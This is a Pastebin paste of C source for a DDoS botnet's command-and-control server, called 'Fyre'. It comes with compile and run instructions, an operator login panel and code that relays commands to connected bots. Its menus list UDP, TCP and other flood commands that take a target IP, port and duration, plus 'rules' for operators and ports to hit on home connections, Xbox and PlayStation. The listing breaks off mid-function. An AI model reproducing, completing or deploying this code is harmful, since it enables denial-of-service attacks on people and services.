AvengeVPS

Fyre Botnet Serverside

Mar 1st, 2018
286
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 32.10 KB | None | 0 0
  1. /*
  2. -------------------------  
  3.  @Hubnr - Instagram
  4. -------------------------
  5.  
  6. FYRE Side
  7.  
  8.  
  9.  USAGE:
  10.  rename the FYRE.c to -> server.c
  11.  gcc server.c -oserver -pthread -w
  12.  screen ./server [bot port] [threads] [connect port]
  13. -----------------------------------------------------
  14. LOGIN FILE IS login.txt
  15. */
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <string.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <netdb.h>
  22. #include <unistd.h>
  23. #include <time.h>
  24. #include <fcntl.h>
  25. #include <sys/epoll.h>
  26. #include <errno.h>
  27. #include <pthread.h>
  28. #include <signal.h>
  29.  
  30. #define MAXFDS 1000000
  31. #define RED     "\x1b[0;31m"
  32. #define GREEN   "\x1b[0;32m"
  33. #define C_RESET   "\x1b[0m"
  34.  
  35. struct account {
  36.     char id[20];
  37.     char password[20];
  38. };
  39. static struct account accounts[25]; // amount of users <----
  40.  
  41. struct clientdata_t {
  42.         uint32_t ip;
  43.         char build[7];
  44.         char connected;
  45. } clients[MAXFDS];
  46.  
  47. struct telnetdata_t {
  48.         uint32_t ip;
  49.         int connected;
  50. } managements[MAXFDS];
  51.  
  52. ////////////////////////////////////
  53.  
  54. static volatile FILE *fileFD;
  55. static volatile int epollFD = 0;
  56. static volatile int listenFD = 0;
  57. static volatile int managesConnected = 0;
  58.  
  59. ////////////////////////////////////
  60.  
  61.  
  62. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  63. {
  64.         int total = 0, got = 1;
  65.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  66.         return got;
  67. }
  68. void trim(char *str)
  69. {
  70.     int i;
  71.     int begin = 0;
  72.     int end = strlen(str) - 1;
  73.     while (isspace(str[begin])) begin++;
  74.     while ((end >= begin) && isspace(str[end])) end--;
  75.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  76.     str[i - begin] = '\0';
  77. }
  78.  
  79.  
  80. static int make_socket_non_blocking (int sfd)
  81. {
  82.         int flags, s;
  83.         flags = fcntl (sfd, F_GETFL, 0);
  84.         if (flags == -1)
  85.         {
  86.                 perror ("fcntl");
  87.                 return -1;
  88.         }
  89.         flags |= O_NONBLOCK;
  90.         s = fcntl (sfd, F_SETFL, flags);
  91.         if (s == -1)
  92.         {
  93.                 perror ("fcntl");
  94.                 return -1;
  95.         }
  96.         return 0;
  97. }
  98.  
  99.  
  100. static int create_and_bind (char *port)
  101. {
  102.         struct addrinfo hints;
  103.         struct addrinfo *result, *rp;
  104.         int s, sfd;
  105.         memset (&hints, 0, sizeof (struct addrinfo));
  106.         hints.ai_family = AF_UNSPEC;
  107.         hints.ai_socktype = SOCK_STREAM;
  108.         hints.ai_flags = AI_PASSIVE;
  109.         s = getaddrinfo (NULL, port, &hints, &result);
  110.         if (s != 0)
  111.         {
  112.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  113.                 return -1;
  114.         }
  115.         for (rp = result; rp != NULL; rp = rp->ai_next)
  116.         {
  117.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  118.                 if (sfd == -1) continue;
  119.                 int yes = 1;
  120.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  121.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  122.                 if (s == 0)
  123.                 {
  124.                         break;
  125.                 }
  126.                 close (sfd);
  127.         }
  128.         if (rp == NULL)
  129.         {
  130.                 fprintf (stderr, "Could not bind\n");
  131.                 return -1;
  132.         }
  133.         freeaddrinfo (result);
  134.         return sfd;
  135. }
  136. void broadcast(char *msg, int us, char *sender)
  137. {
  138.         int sendMGM = 1;
  139.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  140.         char *wot = malloc(strlen(msg) + 10);
  141.         memset(wot, 0, strlen(msg) + 10);
  142.         strcpy(wot, msg);
  143.         trim(wot);
  144.         time_t rawtime;
  145.         struct tm * timeinfo;
  146.         time(&rawtime);
  147.         timeinfo = localtime(&rawtime);
  148.         char *timestamp = asctime(timeinfo);
  149.         trim(timestamp);
  150.         int i;
  151.         for(i = 0; i < MAXFDS; i++)
  152.         {
  153.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  154.                 if(sendMGM && managements[i].connected)
  155.                 {                    
  156.                         send(i, "\x1b[37mID:", 8, MSG_NOSIGNAL);
  157.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  158.                         send(i, " ", 1, MSG_NOSIGNAL);
  159.                         send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  160.                         send(i, ": ", 2, MSG_NOSIGNAL);
  161.                 }
  162.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  163.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;34m> \x1b[1;37m", 13, MSG_NOSIGNAL);
  164.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  165.         }
  166.         free(wot);
  167. }
  168.  
  169. void *epollEventLoop(void *useless)
  170. {
  171.         struct epoll_event event;
  172.         struct epoll_event *events;
  173.         int s;
  174.         events = calloc (MAXFDS, sizeof event);
  175.         while (1)
  176.         {
  177.                 int n, i;
  178.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  179.                 for (i = 0; i < n; i++)
  180.                 {
  181.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  182.                         {
  183.                                 clients[events[i].data.fd].connected = 0;
  184.                                 close(events[i].data.fd);
  185.                                 continue;
  186.                         }
  187.                         else if (listenFD == events[i].data.fd)
  188.                         {
  189.                                 while (1)
  190.                                 {
  191.                                         struct sockaddr in_addr;
  192.                                         socklen_t in_len;
  193.                                         int infd, ipIndex;
  194.  
  195.                                         in_len = sizeof in_addr;
  196.                                         infd = accept (listenFD, &in_addr, &in_len);
  197.                                         if (infd == -1)
  198.                                         {
  199.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  200.                                                 else
  201.                                                 {
  202.                                                         perror ("accept");
  203.                                                         break;
  204.                                                 }
  205.                                         }
  206.  
  207.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  208.                                         int dup = 0;
  209.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  210.                                             if(!clients[ipIndex].connected || ipIndex == infd) continue;
  211.                                             if(clients[ipIndex].ip == clients[infd].ip) {
  212.                                                 dup = 1;
  213.                                             break;
  214.                                             }}
  215.                                         if(dup) {
  216.                                             if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  217.                                             close(infd);
  218.                                             continue;
  219.                                         }
  220.  
  221.                                         s = make_socket_non_blocking (infd);
  222.                                         if (s == -1) { close(infd); break; }
  223.  
  224.                                         event.data.fd = infd;
  225.                                         event.events = EPOLLIN | EPOLLET;
  226.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  227.                                         if (s == -1)
  228.                                         {
  229.                                                 perror ("epoll_ctl");
  230.                                                 close(infd);
  231.                                                 break;
  232.                                         }
  233.  
  234.                                         clients[infd].connected = 1;
  235.                                         send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  236.                                        
  237.                                 }
  238.                                 continue;
  239.                         }
  240.                         else
  241.                         {
  242.                                 int thefd = events[i].data.fd;
  243.                                 struct clientdata_t *client = &(clients[thefd]);
  244.                                 int done = 0;
  245.                                 client->connected = 1;
  246.                                 while (1)
  247.                                 {
  248.                                         ssize_t count;
  249.                                         char buf[2048];
  250.                                         memset(buf, 0, sizeof buf);
  251.  
  252.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  253.                                         {
  254.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  255.                                                 trim(buf);
  256.                                                 if(strcmp(buf, "PING") == 0) {
  257.                                                 if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  258.                                                 continue; }
  259.                                                 if(strcmp(buf, "PONG") == 0) {
  260.                                                 continue; }
  261.                                                 printf("buf: \"%s\"\n", buf); }
  262.  
  263.                                         if (count == -1)
  264.                                         {
  265.                                                 if (errno != EAGAIN)
  266.                                                 {
  267.                                                         done = 1;
  268.                                                 }
  269.                                                 break;
  270.                                         }
  271.                                         else if (count == 0)
  272.                                         {
  273.                                                 done = 1;
  274.                                                 break;
  275.                                         }
  276.                                 }
  277.  
  278.                                 if (done)
  279.                                 {
  280.                                         client->connected = 0;
  281.                                         close(thefd);
  282.                                 }
  283.                         }
  284.                 }
  285.         }
  286. }
  287.  
  288. unsigned int clientsConnected()
  289. {
  290.         int i = 0, total = 0;
  291.         for(i = 0; i < MAXFDS; i++)
  292.         {
  293.                 if(!clients[i].connected) continue;
  294.                 total++;
  295.         }
  296.  
  297.         return total;
  298. }
  299.  
  300. void *titleWriter(void *sock)
  301. {
  302.         int thefd = (int)sock;
  303.         char string[2048];
  304.         while(1)
  305.         {
  306.                 memset(string, 0, 2048);
  307.                 sprintf(string, "%c]0; Galaxy - Bots: %d - Admins: %d %c", '\033', clientsConnected(), managesConnected, '\007');
  308.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  309.  
  310.                 sleep(2);
  311.         }
  312. }
  313.  
  314. int Search_in_File(char *str)
  315. {
  316.     FILE *fp;
  317.     int line_num = 0;
  318.     int find_result = 0, find_line=0;
  319.     char temp[512];
  320.  
  321.     if((fp = fopen("login.txt", "r")) == NULL){
  322.         return(-1);
  323.     }
  324.     while(fgets(temp, 512, fp) != NULL){
  325.         if((strstr(temp, str)) != NULL){
  326.             find_result++;
  327.             find_line = line_num;
  328.         }
  329.         line_num++;
  330.     }
  331.     if(fp)
  332.         fclose(fp);
  333.  
  334.     if(find_result == 0)return 0;
  335.  
  336.     return find_line;
  337. }
  338.  void client_addr(struct sockaddr_in addr){
  339.         printf("IP:%d.%d.%d.%d\n",
  340.         addr.sin_addr.s_addr & 0xFF,
  341.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  342.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  343.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  344.         FILE *logFile;
  345.         logFile = fopen("server.log", "a");
  346.         fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  347.         addr.sin_addr.s_addr & 0xFF,
  348.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  349.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  350.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  351.         fclose(logFile);
  352. }
  353.  
  354. void *telnetWorker(void *sock) {
  355.         int thefd = (int)sock;
  356.         managesConnected++;
  357.         int find_line;
  358.         pthread_t title;
  359.         char counter[2048];
  360.         memset(counter, 0, 2048);
  361.         char buf[2048];
  362.         char* nickstring;
  363.         char usernamez[80];
  364.         char* password;
  365.         char* admin;
  366.         memset(buf, 0, sizeof buf);
  367.         char botnet[2048];
  368.         memset(botnet, 0, 2048);
  369.  
  370.         FILE *fp;
  371.         int i=0;
  372.         int c;
  373.         fp=fopen("login.txt", "r"); // format: user pass
  374.         while(!feof(fp))
  375.         {
  376.                 c=fgetc(fp);
  377.                 ++i;
  378.         }
  379.         int j=0;
  380.         rewind(fp);
  381.         while(j!=i-1)
  382.         {
  383.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  384.             ++j;
  385.         }
  386.         sprintf(botnet, "\x1b[1;37mGalaxy Login:\r\n");
  387.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;  
  388.         sprintf(botnet, "\033[1;37mUsername\033[33;3m: \e[0;30m");
  389.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  390.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  391.         trim(buf);
  392.         sprintf(usernamez, buf);
  393.         nickstring = ("%s", buf);
  394.         find_line = Search_in_File(nickstring);
  395.  
  396.         if(strcmp(nickstring, accounts[find_line].id) == 0){                  
  397.         sprintf(botnet, "\033[1;32mPassword\033[33;3m: \e[0;30m");
  398.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  399.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  400.         trim(buf);
  401.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  402.         memset(buf, 0, 2048);
  403.         goto fak;
  404.         }
  405.                 failed:
  406.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  407.         goto end;
  408.         fak:
  409.  
  410.         pthread_create(&title, NULL, &titleWriter, sock);
  411.         if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  412.         if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
  413.         char ascii_banner_line19 [5000];
  414.         char ascii_banner_line20 [5000];
  415.         char ascii_banner_line21 [5000];
  416.         char ascii_banner_line22 [5000];
  417.         char ascii_banner_line23 [5000];
  418.         char ascii_banner_line24 [5000];
  419.         char ascii_banner_line25 [5000];
  420.         char line23[80];
  421.        
  422.         sprintf(ascii_banner_line19, "\x1b[1;34m ███████╗██╗   ██╗██████╗ ███████╗\r\n");
  423.         sprintf(ascii_banner_line20, "\x1b[1;36m██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝\r\n");
  424.         sprintf(ascii_banner_line21, "\x1b[1;34m█████╗   ╚████╔╝ ██████╔╝█████╗   \r\n");
  425.         sprintf(ascii_banner_line22, "\x1b[1;36m██╔══╝    ╚██╔╝  ██╔══██╗██╔══╝  \r\n");
  426.         sprintf(ascii_banner_line23, "\x1b[1;34m██║        ██║   ██║  ██║███████╗   \r\n");
  427.         sprintf(ascii_banner_line24, "\x1b[1;36m ╚═╝        ╚═╝   ╚═╝  ╚═╝╚══════╝   \r\n");
  428.         sprintf(ascii_banner_line25, "\x1b[1;34m                                                  \r\n");
  429.         sprintf(line23, "\x1b[1;37m[\x1b[1;32m+\x1b[1;37m] \x1b[1;36m*** Welcome To The Galaxy ***\r\n");
  430.         if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  431.         if(send(thefd, ascii_banner_line19, strlen(ascii_banner_line19), MSG_NOSIGNAL) == -1) goto end;
  432.         if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  433.         if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  434.         if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  435.         if(send(thefd, ascii_banner_line23, strlen(ascii_banner_line23), MSG_NOSIGNAL) == -1) goto end;
  436.         if(send(thefd, ascii_banner_line24, strlen(ascii_banner_line24), MSG_NOSIGNAL) == -1) goto end;
  437.         if(send(thefd, ascii_banner_line25, strlen(ascii_banner_line25), MSG_NOSIGNAL) == -1) goto end;
  438.         if(send(thefd, line23, strlen(line23), MSG_NOSIGNAL) == -1) goto end;
  439.         pthread_create(&title, NULL, &titleWriter, sock);
  440.         managements[thefd].connected = 1;
  441.         while(fdgets(buf, sizeof buf, thefd) > 0)
  442.         {
  443.         if(strstr(buf, "BOTS"))
  444.         {  
  445.           sprintf(botnet, "\x1b[1;36mBots: %d \x1b[1;37m| \x1b[1;34mAdmins: %d\r\n", clientsConnected(), managesConnected);
  446.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  447.         }
  448.          
  449.             if(strstr(buf, "HELP")) {
  450.                 pthread_create(&title, NULL, &titleWriter, sock);
  451.                 char helpline1  [80];
  452.                 char helpline2  [80];
  453.                 char helpline3  [80];
  454.                 char helpline4  [80];
  455.                 char helpline5  [80];
  456.                 char helpline6  [80];
  457.  
  458.                 sprintf(helpline1,  "\x1b[1;37m[\x1b[1;32m-\x1b[1;37m]\x1b[1;32m Choose an option from below:\r\n");
  459.                 sprintf(helpline2,  "\x1b[1;36mDDOS   \x1b[1;37m | \x1b[1;34mDDOS Commands\r\n");
  460.                 sprintf(helpline3,  "\x1b[1;36mRULES  \x1b[1;37m | \x1b[1;34mNET's RULES.\r\n");
  461.                 sprintf(helpline4,  "\x1b[1;36mPORTS  \x1b[1;37m | \x1b[1;34mGOOD PORTS TO HIT.\r\n");
  462.                 sprintf(helpline5,  "\x1b[1;36mEXIT   \x1b[1;37m | \x1b[1;34mEXIT's SERVER\r\n");
  463.                 sprintf(helpline6,  "\x1b[1;36mBOTS   \x1b[1;37m | \x1b[1;34mSHOWS BOTCOUNT\r\n");
  464.  
  465.                 if(send(thefd, helpline1,  strlen(helpline1),   MSG_NOSIGNAL) == -1) goto end;
  466.                 if(send(thefd, helpline2,  strlen(helpline2),   MSG_NOSIGNAL) == -1) goto end;
  467.                 if(send(thefd, helpline3,  strlen(helpline3),   MSG_NOSIGNAL) == -1) goto end;
  468.                 if(send(thefd, helpline4,  strlen(helpline4),   MSG_NOSIGNAL) == -1) goto end;
  469.                 if(send(thefd, helpline5,  strlen(helpline5),   MSG_NOSIGNAL) == -1) goto end;
  470.                 if(send(thefd, helpline6,  strlen(helpline6),   MSG_NOSIGNAL) == -1) goto end;
  471.                 pthread_create(&title, NULL, &titleWriter, sock);
  472.                 while(1) {
  473.                 if(send(thefd, "\x1b[1;34m> \x1b[1;37m", 12, MSG_NOSIGNAL) == -1) goto end;
  474.                 break;
  475.                 }
  476.                 continue;
  477.         }
  478.             if(strstr(buf, "DDOS")) {
  479.                 pthread_create(&title, NULL, &titleWriter, sock);
  480.                 char ddosline1  [80];
  481.                 char ddosline2  [80];
  482.                 char ddosline3  [80];
  483.                 char ddosline4  [80];
  484.                 char ddosline5  [80];
  485.                 char ddosline6  [80];
  486.                 sprintf(ddosline1, "\x1b[1;37m[\x1b[1;32m-\x1b[1;37m]\x1b[1;32m DDoS Commands\r\n");
  487.                 sprintf(ddosline2, "\x1b[1;34m !* UDP [IP] [PORT] [TIME] 32 1337 400       | UDP FLOOD\r\n");
  488.                 sprintf(ddosline3, "\x1b[1;36m !* STD [IP] [PORT] [TIME]                   | STD FLOOD\r\n");
  489.                 sprintf(ddosline4, "\x1b[1;34m !* TCP [IP] [PORT] [TIME] 32 all 1337 400   | TCP FLOOD\r\n");
  490.                 sprintf(ddosline5, "\x1b[1;36m !* CNC [IP] [PORT] [TIME]                   | CNC FLOOD\r\n");
  491.                 sprintf(ddosline6, "\x1b[1;34m !* KILLATTK                                 | KILLS ALL ATTACKS\r\n");
  492.  
  493.                 if(send(thefd, ddosline1,  strlen(ddosline1),   MSG_NOSIGNAL) == -1) goto end;
  494.                 if(send(thefd, ddosline2,  strlen(ddosline2),   MSG_NOSIGNAL) == -1) goto end;
  495.                 if(send(thefd, ddosline3,  strlen(ddosline3),   MSG_NOSIGNAL) == -1) goto end;
  496.                 if(send(thefd, ddosline4,  strlen(ddosline4),   MSG_NOSIGNAL) == -1) goto end;
  497.                 if(send(thefd, ddosline5,  strlen(ddosline5),   MSG_NOSIGNAL) == -1) goto end;
  498.                 if(send(thefd, ddosline6,  strlen(ddosline6),   MSG_NOSIGNAL) == -1) goto end;
  499.                 pthread_create(&title, NULL, &titleWriter, sock);
  500.                 while(1) {
  501.                 if(send(thefd, "\x1b[1;34m> \x1b[1;37m", 12, MSG_NOSIGNAL) == -1) goto end;
  502.                 break;
  503.                 }
  504.                 continue;
  505.             }
  506.             if(strstr(buf, "RULES")) {
  507.                 pthread_create(&title, NULL, &titleWriter, sock);
  508.                 char rulesline1  [80];
  509.                 char rulesline2  [80];
  510.                 char rulesline3  [80];
  511.                 char rulesline4  [80];
  512.                 char rulesline5  [80];
  513.                
  514.                 sprintf(rulesline1,  "\x1b[1;37m[\x1b[1;32m-\x1b[1;37m]\x1b[1;32m RULES:\r\n");
  515.                 sprintf(rulesline2,  "\x1b[1;36m 1. No spamming attacks or chat. \r\n");
  516.                 sprintf(rulesline3,  "\x1b[1;34m 2. No hitting Government IP's or shit.\r\n");
  517.                 sprintf(rulesline4,  "\x1b[1;36m 3. Max boot time is 600, only use 600 when absolutely necessary.\r\n");
  518.                 sprintf(rulesline5,  "\x1b[1;34m 4. If something doesnt go down, its protected. Stop trying to spam it.\r\n");
  519.  
  520.                 if(send(thefd, rulesline1,  strlen(rulesline1), MSG_NOSIGNAL) == -1) goto end;
  521.                 if(send(thefd, rulesline2,  strlen(rulesline2), MSG_NOSIGNAL) == -1) goto end;
  522.                 if(send(thefd, rulesline3,  strlen(rulesline3), MSG_NOSIGNAL) == -1) goto end;
  523.                 if(send(thefd, rulesline4,  strlen(rulesline4), MSG_NOSIGNAL) == -1) goto end;
  524.                 if(send(thefd, rulesline5,  strlen(rulesline5), MSG_NOSIGNAL) == -1) goto end;
  525.                 pthread_create(&title, NULL, &titleWriter, sock);
  526.                 while(1) {
  527.                 if(send(thefd, "\x1b[1;34m> \x1b[1;37m", 12, MSG_NOSIGNAL) == -1) goto end;
  528.                 break;
  529.                 }
  530.                 continue;
  531.             }
  532.             if(strstr(buf, "PORTS")) {
  533.                 pthread_create(&title, NULL, &titleWriter, sock);
  534.                 char portline1  [80];
  535.                 char portline2  [80];
  536.                 char portline3  [80];
  537.                 char portline4  [80];
  538.                 char portline5  [80];
  539.                 char portline6  [80];
  540.                 char portline7  [80];
  541.                
  542.                 sprintf(portline1,  "\x1b[1;37m[\x1b[1;32m-\x1b[1;37m] \x1b[1;32mCommon ports:\r\n");
  543.                 sprintf(portline2,  "\x1b[1;34m 1. Home connections: 80, 3074\r\n");
  544.                 sprintf(portline3,  "\x1b[1;36m 2. Servers: 80, 53\r\n");
  545.                 sprintf(portline4,  "\x1b[1;37m[\x1b[1;32m-\x1b[1;37m] \x1b[1;32mGames ports:\r\n");
  546.                 sprintf(portline5,  "\x1b[1;36m 1. Minecraft servers: 25565\r\n");
  547.                 sprintf(portline6,  "\x1b[1;34m 2. Xbox: 88 or 3074\r\n");
  548.                 sprintf(portline7,  "\x1b[1;36m 2. Playstation: 443, 3478, 3479, 8080\r\n");
  549.  
  550.                 if(send(thefd, portline1,  strlen(portline1),   MSG_NOSIGNAL) == -1) goto end;
  551.                 if(send(thefd, portline2,  strlen(portline2),   MSG_NOSIGNAL) == -1) goto end;
  552.                 if(send(thefd, portline3,  strlen(portline3),   MSG_NOSIGNAL) == -1) goto end;
  553.                 if(send(thefd, portline4,  strlen(portline4),   MSG_NOSIGNAL) == -1) goto end;
  554.                 if(send(thefd, portline5,  strlen(portline5),   MSG_NOSIGNAL) == -1) goto end;
  555.                 if(send(thefd, portline6,  strlen(portline6),   MSG_NOSIGNAL) == -1) goto end;
  556.                 if(send(thefd, portline7,  strlen(portline7),   MSG_NOSIGNAL) == -1) goto end;
  557.                 pthread_create(&title, NULL, &titleWriter, sock);
  558.                 while(1) {
  559.                 if(send(thefd, "\x1b[1;34m> \x1b[1;37m", 12, MSG_NOSIGNAL) == -1) goto end;
  560.                 break;
  561.                 }
  562.                 continue;
  563.             }
  564.         if(strstr(buf, "SH"))
  565.         {  
  566.         printf("ATTEMPT TO SHELL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  567.         FILE *logFile;
  568.         logFile = fopen("SHELL.log", "a");
  569.         fprintf(logFile, "ATTEMPT TO SHELL BOTS BY %s\n", accounts[find_line].id, buf);
  570.         fclose(logFile);
  571.         goto end;
  572.         }
  573.         if(strstr(buf, "MOVE"))
  574.         {  
  575.         printf("ATTEMPT TO SHELL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  576.         FILE *logFile;
  577.         logFile = fopen("SHELL.log", "a");
  578.         fprintf(logFile, "ATTEMPT TO SHELL BOTS BY %s\n", accounts[find_line].id, buf);
  579.         fclose(logFile);
  580.         goto end;
  581.         }
  582.         if(strstr(buf, "!* TCP"))
  583.         {  
  584.         sprintf(botnet, "\x1b[1;36mATTACK SENT! \x1b[1;37m[\x1b[1;34mTCP\x1b[1;37m]\r\n");
  585.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  586.         }
  587.         if(strstr(buf, "!* UDP"))
  588.         {  
  589.         sprintf(botnet, "\x1b[1;36mATTACK SENT! \x1b[1;37m[\x1b[1;34mUDP\x1b[1;37m]\r\n");
  590.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  591.         }
  592.         if(strstr(buf, "!* STD"))
  593.         {  
  594.         sprintf(botnet, "\x1b[1;36mATTACK SENT! \x1b[1;37m[\x1b[1;34mSTD\x1b[1;37m]\r\n");
  595.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  596.         }
  597.         if(strstr(buf, "!* CNC"))
  598.         {  
  599.         sprintf(botnet, "\x1b[1;36mATTACK SENT! \x1b[1;37m[\x1b[1;34mCNC\x1b[1;37m]\r\n");
  600.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  601.         }
  602.         if(strstr(buf, "!* KILLATTK"))
  603.         {  
  604.         sprintf(botnet, "\x1b[1;36mATTACKS \x1b[1;34mSTOPPED\r\n");
  605.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  606.         }
  607.         if (strstr(buf, "CLEAR"))
  608.         {
  609.           if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  610.         sprintf(ascii_banner_line19, "\x1b[1;34m ███████╗██╗   ██╗██████╗ ███████╗\r\n");
  611.         sprintf(ascii_banner_line20, "\x1b[1;36m██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝\r\n");
  612.         sprintf(ascii_banner_line21, "\x1b[1;34m█████╗   ╚████╔╝ ██████╔╝█████╗   \r\n");
  613.         sprintf(ascii_banner_line22, "\x1b[1;36m██╔══╝    ╚██╔╝  ██╔══██╗██╔══╝  \r\n");
  614.         sprintf(ascii_banner_line23, "\x1b[1;34m██║        ██║   ██║  ██║███████╗   \r\n");
  615.         sprintf(ascii_banner_line24, "\x1b[1;36m ╚═╝        ╚═╝   ╚═╝  ╚═╝╚══════╝   \r\n");
  616.         sprintf(ascii_banner_line25, "\x1b[1;34m                                                  \r\n");
  617.         sprintf(line23, "\x1b[1;37m[\x1b[1;32m+\x1b[1;37m] \x1b[1;36m*** Welcome To The Galaxy ***\r\n");
  618.         if(send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  619.         if(send(thefd, ascii_banner_line19, strlen(ascii_banner_line19), MSG_NOSIGNAL) == -1) goto end;
  620.         if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  621.         if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  622.         if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  623.         if(send(thefd, ascii_banner_line23, strlen(ascii_banner_line23), MSG_NOSIGNAL) == -1) goto end;
  624.         if(send(thefd, ascii_banner_line24, strlen(ascii_banner_line24), MSG_NOSIGNAL) == -1) goto end;
  625.         if(send(thefd, ascii_banner_line25, strlen(ascii_banner_line25), MSG_NOSIGNAL) == -1) goto end;
  626.         if(send(thefd, line23, strlen(line23), MSG_NOSIGNAL) == -1) goto end;
  627.          }
  628.          if (strstr(buf, "EXIT"))
  629.          {
  630.             goto end;
  631.          }
  632.                 trim(buf);
  633.                 sprintf(botnet, "\x1b[1;34m> \x1b[0;37m");
  634.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  635.                 if(strlen(buf) == 0) continue;
  636.                 printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  637.                 FILE *logFile;
  638.                 logFile = fopen("server.log", "a");
  639.                 fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  640.                 fclose(logFile);
  641.                 broadcast(buf, thefd, usernamez);
  642.                 memset(buf, 0, 2048);
  643.         }
  644.  
  645.         end:    
  646.                 managements[thefd].connected = 0;
  647.                 close(thefd);
  648.                 managesConnected--;
  649. }
  650.  
  651. void *telnetListener(int port)
  652. {    
  653.         int sockfd, newsockfd;
  654.         socklen_t clilen;
  655.         struct sockaddr_in serv_addr, cli_addr;
  656.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  657.         if (sockfd < 0) perror("ERROR opening socket");
  658.         bzero((char *) &serv_addr, sizeof(serv_addr));
  659.         serv_addr.sin_family = AF_INET;
  660.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  661.         serv_addr.sin_port = htons(port);
  662.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  663.         listen(sockfd,5);
  664.         clilen = sizeof(cli_addr);
  665.         while(1)
  666.  
  667.         {  printf("Security Breach From: ");
  668.                
  669.                 client_addr(cli_addr);
  670.                 FILE *logFile;
  671.                 logFile = fopen("IP.log", "a");
  672.                 fprintf(logFile, "IP:%d.%d.%d.%d\n",cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  673.                 fclose(logFile);
